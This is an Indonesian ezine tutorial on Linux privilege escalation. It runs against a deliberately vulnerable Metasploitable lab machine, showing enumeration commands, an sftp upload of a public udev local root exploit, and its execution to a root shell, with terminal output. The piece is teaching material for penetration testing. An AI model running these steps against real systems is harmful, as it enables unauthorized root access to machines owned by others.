Echo Magazine Issue 27 Phile 0x005

eZine lover (@eZine)

Published in 

Echo Magazine

 · 4 years ago

  

ECHO MAGAZINE VOLUME XI, ISSUE XXVII, PHILE 0x05.TXT 
                               :|             ++            
                     :~~/ .::/ :::| ,::\ >::> :| :::\ :~~/  
                     :::, `::\ :|:| `::/ <::< :| :|:| :::,  
                                                                    

     NewComer Series: "Pentest: Privilege escalation" 
     y3dips [at] echo [dot] or [dot] id 

 

-----| Pendahuluan 

Salah satu langkah dalam metodologi penetration testing yang umum 
dilakukan oleh seorang pentester adalah melakukan kegiatan privilege 
escalation, tujuan dari kegiatan ini adalah apabila pada langkah 
gaining access, pentester hanya mendapatkan user dengan low/medium 
level privilege, sehingga dengan user tersebut banyak terdapat 
keterbatasan-keterbatasan dan tidak memungkinkan untuk melakukan 
enumerasi lebih lanjut (further enumeration) baik di sistem target 
ataupun pada jaringan secara keseluruhan.   

Jika pada satu kasus pentester telah mendapatkan user root saat 
kegiatan penetration testingnya, maka proses ini bisa saja tidak 
dilakukan karena sudah mendapatkan user root yang telah memiliki  
privilege tertinggi pada sistem operasi linux, meskipun dengan  
melakukan langkah-langkah privilege escalation akan ada data baru yang  
mungkin berguna.  

Tetapi akan berbeda apabila user yang didapatkan hanyalah user web 
aplikasi (misal: www-data), dan pada kenyataannya atau saat dilapangan, 
celah keamanan yang memungkinkan mendapatkan user root (atau 
eksploitnya biasa dikenal dengan istilah ("remote root exploit") itu 
sudah sangat langka.  Hal ini sudah jarang ditemui dikarenakan pihak 
pembuat (vendor) aplikasi dan sistem aplikasi sudah lebih aware, pihak 
user juga umumnya telah menerapkan berbagai lapisan akses ke sistem 
baik di sisi jaringan dengan penggunaan perangkat keamanan jaringan 
seperti firewall, intrusion detection/prevention system, penerapan user 
access level, dsb.   

Oleh karena itu pentester umumnya harus melakukan langkah privilege 
escalation untuk mendapatkan akses user dengan high level privilege 
(root pada sistem operasi berbasis unix/linux, dan user 
system/administrator pada sistem berbasis windows).   

-----| Game On 

Untuk melakukan privilege escalation umumnya pentester dapat 
memanfaatkan 2 cara, pertama adalah dengan memanfaatkan celah keamanan 
bukan remote terhadap sistem operasi dan aplikasi (networking dan 
non-networking) atau umumnya dikenal dengan penggunaan local root 
exploits. Yang kedua adalah dengan memanfaatkan misconfiguration, baik 
konfigurasi sistem operasi, user dan juga layanan yang berjalan. 

Sebelum menggunakan cara pertama atau kedua, berikut adalah langkah2 
yang umumnya dilakukan oleh seorang pentester. 

A.	Target behavior analysis  

Untuk dapat berhasil melakukan privilege escalation, seorang pentester 
haruslah melakukan kembali analisa mendalam terhadap target, tetapi 
kali ini berbeda dengan analisa sebelumnya, karena kali ini analisa 
dilakukan dari dalam sistem dengan user yang dimiliki. Informasi yang 
dikumpulkan juga benar2 spesifik untuk mendapatkan user dengan 
privilege yang tertinggi, beberapa hal yang umumnya di analisa 
diantaranya adalah:  

    a.	Versi dari sistem operasi  

    Kita akan melakukan pemeriksaan lebih mendalam ke versi sistem 
    operasi, seperti versi kernel, versi distribusi (distro) yang 
    dipergunakan apabila atau merupakan sistem operasi berbasis unix 
    atau linux, kemudian memeriksa versi service pack dan language jika 
    itu windows, dan lain sebagainya yang berhubungan dengan sistem 
    operasi. 

    b.	Versi dari aplikasi yang terinstall (non-networking dan networking) 

    Pemeriksaan terhadap aplikasi yang terinstall baik yang tidak 
    membuka layanan jaringan seperti aplikasi office, ataupun yang 
    membuka layanan jaringan dan hanya di buka ke internal sistem 
    (misal mysql) ataupun internal network (dibatasi dengan firewall) 

    c.	User-user yang ada di target 

    Memeriksa file-file yang berhubungan dengan informasi user 
    (/etc/passwd), apakah terdapat user yang memiliki kemampuan di luar 
    batas yang seharusnya dia miliki, misal memiliki kemampuan menulis 
    pada irektori tertentu, menjalankan aplikasi scheduling, dsb. 

    d.	Aplikasi-aplikasi yang berjalan 

    Melakukan pemeriksaan terhadap aplikasi-aplikasi yang berjalan 
    (service/layanan), dan yang umumnya berjalan secara otomatis. 

-----| Proof-Of-Concept 

Untuk ujicoba kegiatan ini, digunakan distro Metasploitable keluaran 
metasploit/rapid7 [1].  

Sebagai contoh, pada proses scanning samba dengan .NSE pada 
metasploitable diperolehlah account user:user, dan dicoba untuk di 
gunakan ke seluruh layanan yang mengijinkan koneksi remote ke layanan 
telnet, ssh, ftp (layanan tersebut terdeteksi aktif, hasil scan dengan 
nmap). 

Karena itu, kita akan login via ssh remote login ke target menggunakan 
user tersebut, dan mencari informasi mengenai versi OS 

+------------------------------------ 
| Zevil:trunk zoro$ ssh user@10.0.2.12 
| The authenticity of host '10.0.2.12 (10.0.2.12)' can't be established. 
| RSA key fingerprint is 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3. 
| Are you sure you want to continue connecting (yes/no)? yes 
| Warning: Permanently added '10.0.2.12' (RSA) to the list of known hosts. 
| user@10.0.2.12's password:  
| Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 
|  
| The programs included with the Ubuntu system are free software; 
| the exact distribution terms for each program are described in the 
| individual files in /usr/share/doc/*/copyright. 
|  
| Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by 
|  applicable law. 
|  
| To access official Ubuntu documentation, please visit: 
| http://help.ubuntu.com/ 
| user@metasploitable:~$ uname -a 
| Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux 
+------------------------------------ 

Selanjutnya dengan informasi versi kernel tersebut kita akan mencari 
local eksploit dari celah keamanan yang terdapat di versi kernel 
tersebut,dalam hal ini kita mempergunakan kernel 2.6 sebagai kata kunci 
untuk melakukan pencarian pada situs: http://exploit-db.com dan 
menemukan beberapa eksploit privilege escalation.  
  
Umumnya celah keamanan di versi kernel tersebut berhubungan dengan 
layanan udev, sehingga kita harus memeriksa apakah versi udev 
terinstall dan berjalan di sistem milik target.   

+----------------------------------- 
| user@metasploitable:~$dpkg -l | grep udev 
| ii  udev      117-8      rule-based device node and kernel event mana 
| 
| user@metasploitable:~$ ps -axf   
| Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html 
|   PID TTY      STAT   TIME COMMAND 
|    2 ?        S<     0:00 [kthreadd] 
|    3 ?        S<     0:00  \_ [migration/0] 
|    4 ?        S<     0:00  \_ [ksoftirqd/0] 
|   5 ?        S<     0:00  \_ [watchdog/0] 
|    6 ?        S<     0:00  \_ [events/0] 
---- truncated---- 
|  5258 ?        S<     0:00  \_ [kjournald] 
|    1 ?        Ss     0:01 /sbin/init 
|  2963 ?        S<s    0:00 /sbin/udevd --daemon << terinstall (lebih cepat dengan ps -axf | grep udev) 
| 5163 ?        S<s    0:00 dhclient3 -e IF_METRIC=100 -pf /var/run/dhclient.eth0.pid -lf /var/lib/dhcp3/dhclient.eth0.leases eth0 
| 5593 tty4     Ss+    0:00 /sbin/getty 38400 tty4 
|---- truncated --------------------- 
| 
| user@metasploitable:~$ 
| user@metasploitable:~$ dpkg -s udev 
| Package: udev 
| Status: install ok installed 
| Priority: important 
| Section: admin 
| Installed-Size: 844 
| Maintainer: Scott James Remnant <scott@ubuntu.com> 
| Architecture: i386 
| Version: 117-8 
| Replaces: hotplug, ifrename, initramfs-tools (<< 0.040ubuntu1), libvolumeid0 (<< 093-0ubuntu7), volumeid 
| Conflicts: hotplug, ifrename, libdevmapper1.02 (<< 2:1.02.08-1ubuntu7), volumeid 
| Conffiles: 
| /etc/udev/rules.d/05-options.rules d8790ffa3febe1f75f4c183e4d8c770f 
| /etc/udev/rules.d/20-names.rules 9d8b53304757be000d4b61e46973b6fa 
| /etc/udev/rules.d/40-basic-permissions.rules 4a8e828ace909cafbdb1dcb23fa21f3a 
+------------truncated------------------- 

B.	Exploitation 

Dan ternyata udev versi 1.17-8 terinstall di target (hasil perintah 
dpkg) dan berjalan (hasil perintah ps). Berarti pula, bahwa local root 
exploit untuk udev versi <1.41 pada kernel 2.5 akan berjalan. Exploit 
dari http://www.exploit-db.com/exploits/8478/ akan kita pergunakan 
untuk mengeksploitasi celah keamanan ini.   

Sebelumnya, kita harus mengupload terlebih dahulu eksploit tersebut ke 
target, dalam hal ini kita bisa menggunakan layanan wget,ftp atau sftp.   

+---------------------------------------- 
| Zevil:trunk zoro$ sftp user@10.0.2.12  
| user@10.0.2.12's password:  
| Connected to 10.0.2.12. 
| sftp> put udev.sh 
| Uploading udev.c to /home/user/udev.sh 
| udev.sh                               100% 3391     3.3KB/s   00:00     
|sftp> exit 
+----------------------------------------- 

Kemudian, kita jalankan local root eksploit (privilege escalation 
exploits) tersebut dengan terlebih dahulu membaca exploitnya, jangan 
sampai menggunakan exploit yang berbackdoor ;),  dan usahakan gunakan 
pre-compiled exploit ;) 

+---------------------------------------- 
| user@metasploitable:~$ head udev.sh        
| #!/bin/sh 
| # Linux 2.6 
| # bug found by Sebastian Krahmer 
| # 
| # lame sploit using LD technique 
| # by kcope in 2009 
| # tested on debian-etch,ubuntu,gentoo 
| # do a 'cat /proc/net/netlink' 
| # and set the first arg to this 
| # script to the pid of the netlink socket 
|  
| user@metasploitable:~$ cat /proc/net/netlink 
| sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks 
| ddf35800 0   0      00000000 0        0        00000000 2 
| df4ac800 4   0      00000000 0        0        00000000 2 
| dd860e00 7   0      00000000 0        0        00000000 2 
| dd895a00 9   0      00000000 0        0        00000000 2 
| dd892a00 10  0      00000000 0        0        00000000 2 
| ddf35c00 15  0      00000000 0        0        00000000 2 
| df56f000 15  2962   00000001 0        0        00000000 2 
| dd873200 16  0      00000000 0        0        00000000 2 
| df995000 18  0      00000000 0        0        00000000 2 
|  
| user@metasploitable:~$ bash udev.sh 2962     
| suid.c: In function ‘main’: 
| suid.c:3: warning: incompatible implicit declaration of built-in function ‘execl’ 
| /usr/bin/ld: cannot open output file /tmp/suid: Permission denied 
| collect2: ld returned 1 exit status 
| # id; whoami 
| uid=0(root) gid=0(root) groups=1001(user)  
| root 
+----------------------------------------- 

Dan kita pun sukses melakukan privilege escalation dan menjadi root dan 
dapat melakukan langkah selanjutnya. 

-----| Penutup 

Artikel terkait privilege-escalation kali ini membahas salah satu cara 
di sistem operasi GNU/Linux, yaitu mempergunakan "localroot exploit", 
banyak cara lain selain menggunakan exploit, bahkan terkadang anda 
tidak perlu menggunakan exploit untuk menjadi root, di sistem yang 
sudah anda miliki "limited privilege" user-nya. 

Pada rilis sebelumnya sudah dibahas mengenai privilege escalation di 
windows, Mudah-mudahan artikel sederhana ini dapat sedikit memberi 
gambaran untuk sistem operasi GNU/Linux. 

*pada rilis kali ini juga dirilis salah satu local-root exploit yang 
dapat dipergunakan untuk melakukan privilege escalation pada Distro 
Opensuse 12.2 (i686) 

-----| Referensi 

[0] Modul "Basic Pentest" -2012- y3dips  
[1] http://information.rapid7.com/download-metasploitable.html